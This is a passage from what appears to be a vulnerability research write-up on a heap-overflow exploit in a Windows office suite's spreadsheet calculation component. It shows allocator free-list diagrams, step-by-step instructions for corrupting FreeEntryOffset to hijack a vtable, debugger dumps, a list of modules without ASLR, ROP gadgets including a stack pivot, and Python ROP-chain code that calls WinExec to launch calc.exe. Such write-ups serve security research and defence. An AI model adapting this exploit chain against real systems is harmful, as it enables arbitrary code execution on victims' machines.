    | Block 3 (Free)     | Block 4 (Free)     | Block X (Free)       |
    | FreeEntryOffset: 4 | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    +--------------------+--------------------+----------------------+
    State 1 - malloc
    Returns slot 3. Loads FreeEntryOffset from Block 3 into segment.
    Next slot: 4
                     Now offset to Block 4 is loaded into segment
                     v
    +----------------+--------------------+----------------------+
    | Block 3 (Busy) | Block 4 (Free)     | Block X (Free)       |
    | Data: ...      | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    +----------------+--------------------+----------------------+
    State 2 - malloc
    Returns slot 4. Loads FreeEntryOffset from Block 4 into segment.
    Next slot: 5
                                      Offset to Block 5 is loaded into segment
                                      v
    +----------------+----------------+----------------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block X (Free)       |
    | Data: ...      | Data: ...      | FreeEntryOffset: X+1 |
    +----------------+----------------+----------------------+<

State 0 - Beginning
Next slot: 4

                    v
+----------------+--------------------+--------------------+
| Block 3 (Busy) | Block 4 (Free)     | Block 5 (Free)     |
|                | FreeEntryOffset: 5 | FreeEntryOffset: 6 |
+----------------+--------------------+--------------------+

State 1 - TxO Record
Returns slot 3. Loads FreeEntryOffset (4) from Block 3 into segment.
Next slot: 4
                                    v
+----------------+------------------+--------------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Free)     |
|                | Data: TxO Record | FreeEntryOffset: 6 |
+----------------+------------------+--------------------+

State 2 - TxO overwrites FreeEntryOffset
At this point, the FreeEntryOffset for the next block is overwritten with XXX.
In this example, we'll use 3 to return Block 3

                                    v
+----------------+------------------+----------------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Free)       |
|                | Data: TxO Record | FreeEntryOffset: XXX |
+                +         -------------------->           |
+----------------+------------------+----------------------+

State 3 - malloc
The allocator will return Block 5 as it was the next block.
The FreeEntryOffset in Block 5 will be loaded into the segment
for the next allocation.

If the TxO record overwrote this value with 3, this would mean Block 3
would be returned as the next chunk.

v
+----------------+------------------+----------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Busy) |
|                | Data: TxO Record | Data: ...      |
+                +         -------------------->     |
+----------------+------------------+----------------+

State 4 - malloc
Returns Block 3. The first 16-bit word inside Block 3 will also be loaded
into the segment.

+----------------+------------------+----------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Busy) |
|                | Data: TxO Record | Data: ...      |
+----------------+------------------+----------------+

    * Use TxO record to make an allocation of size 0x18 to be in the same arena as the Row object.
    * Overflow the TxO record to overwrite the FreeEntryOffset.
    * Allocate a Row object. This forces the overwritten FreeEntryOffset to be loaded into the segment.
    * Allocate another TxO record of the same size which will be positioned in front of the Row object.
    * Overflow the TxO record into the chunk containing the Row object in order to control its vtable.

    0:000> r

    eax=deadbeeb ebx=ffffffff ecx=045d7d88 edx=0000ffff esi=00127040 edi=00000000
    eip=3f7205c7 esp=00126fdc ebp=00127028 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0x9c40b:
    3f7205c7 ff5004          call    dword ptr [eax+4]    ds:0023:deadbeef=????????
    0:000> .logclose
    0:000> dc ecx
    045d7d88  deadbeeb 64646464 64646464 64646464  dddddddddddddddd
    045d7d98  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7da8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7db8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7dc8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7dd8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7de8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7df8  64646464 64646464 64646464 64646464  dddddddddddddddd

Code Execution

 0:000> !py mona mod -cm aslr=false
--------------------------------------------------
Module info :
--------------------------------------------------
Base       || Size       | ASLR  | Modulename,Path
--------------------------------------------------
0x5f800000 || 0x000b1000 | False | [JSFC.DLL]
0x026b0000 || 0x00007000 | False | [jsvdex.dll]
0x27080000 || 0x000e1000 | False | [JSCTRL.DLL]
0x3f680000 || 0x00103000 | False | [JCXCALC.DLL]
0x22150000 || 0x00018000 | False | [JSMACROS.DLL]
0x003b0000 || 0x00008000 | False | [JSCRT40.dll]
0x61000000 || 0x0013b000 | False | [JSAPRUN.DLL]
0x3c7c0000 || 0x01611000 | False | [T26com.DLL]
0x23c60000 || 0x00024000 | False | [JSDFMT.dll]
0x03ad0000 || 0x0000b000 | False | [JSTqFTbl.dll]
0x40030000 || 0x0002c000 | False | [JSFMLE.dll]
0x21480000 || 0x00082000 | False | [jsgci.dll]
0x02430000 || 0x00008000 | False | [JSSPLEX.DLL]
0x43ab0000 || 0x003af000 | False | [T26STAT.DLL]
0x217b0000 || 0x0001b000 | False | [JSDOC.dll]
0x22380000 || 0x0007a000 | False | [JSFORM.OCX]
0x211a0000 || 0x00049000 | False | [JSTDLIB.DLL]
0x21e50000 || 0x0002c000 | False | [JSPRMN.dll]
0x02a80000 || 0x0000e000 | False | [jsvdex2.dll]
0x277a0000 || 0x00086000 | False | [jsvda.dll]
0x61200000 || 0x000c6000 | False | [JSHIVW2.dll]
0x49760000 || 0x00009000 | False | [Jsfolder.dll]
0x210f0000 || 0x000a1000 | False | [JSPRE.dll]
0x213e0000 || 0x00022000 | False | [jsmisc32.dll]

file:JSFC.DLL
JSFC.DLL.gadgets.40
Gadget:0x5f8170bc : sub esp, 4
                    push ebx
                    push esi
                    mov eax, dword ptr [ecx + 0xa0]
                    push edi
                    push ebp
                    mov esi, ecx
                    test eax, eax
                    je 0x5f8170ee
                    push esi
                    call eax
Simplified
file:JSFC.DLL
gadget:0x5f8170bc : mov eax, dword ptr [ecx + 0xa0] ;
                    mov esi, ecx 
                    call eax

JSFC.DLL.gadgets.40
gadget:0x5f83636e : or bh, bh
                    push esi
                    pop esp
                    mov eax, edi
                    pop edi
                    pop esi
                    pop ebp
                    ret 0x1c
]Simplified
file:JSFC.DLL
26051:0x5f83636e :  push esi
                    pop esp
                    ret 0x1c

    0:000> r
    eax=00000000 ebx=ffffffff ecx=04559138 edx=0000ffff esi=62626262 edi=5f86ecc8
    eip=deadbeef esp=0455926c ebp=62626262 iopl=0         nv up ei ng nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
    deadbeef ??              ???
    0:000> dc esp
    0455926c  61616161 61616162 61616163 61616164  aaaabaaacaaadaaa
    0455927c  61616165 61616166 61616167 61616168  eaaafaaagaaahaaa
    0455928c  61616169 6161616a 6161616b 6161616c  iaaajaaakaaalaaa
    0455929c  6161616d 6161616e 6161616f 61616170  maaanaaaoaaapaaa
    045592ac  61616171 61616172 61616173 61616174  qaaaraaasaaataaa
    045592bc  61616175 61616176 61616177 61616178  uaaavaaawaaaxaaa
    045592cc  61616179 6261617a 62616162 62616163  yaaazaabbaabcaab
    045592dc  62616164 62616165 62616166 62616167  daabeaabfaabgaab

    $ r2 -q -c 'ii~WinExec' T26COM.DLL
    ordinal=110 plt=0x3d46c47c bind=NONE type=FUNC name=KERNEL32.dll_WinExec

    command = ['calc', '.exe', '\0\0\0\0']
    for i,substr in enumerate(command):
        payload += pop_ecx_ret_8                # pop ecx; ret 8
        payload += p32(writable_addr + (i*4))   # Buffer to write the command
        payload += pop_eax_ret                  # pop eax; ret
        payload += p32(0xdeadbeec)              # eaten by ret 8
        payload += p32(0xdeadbeed)              # eaten by ret 8
        payload += substr                       # Current four bytes to write
        payload += write_mem                    # mov dword [ecx], eax; xor eax, eax; ret

    # Deref WinExec import
    payload += pop_edi_esi_ebx_ret
    payload += p32(winexec-0x64)    # pop edi (offset due to [edi + 0x64])
    payload += p32(0xdeadbeee)      # eaten by pop esi
    payload += p32(0xdeadbeef)      # eaten by pop ebx
    # Call WinExec with buffer pointing to calc.exe
    payload += deref_edi_call       # mov esi, dword [edi + 0x64]; call esi
    payload += p32(writable_addr)   # Buffer with command
    payload += p32(1)               # Display the calc (0 will hide the command output)

Conclusion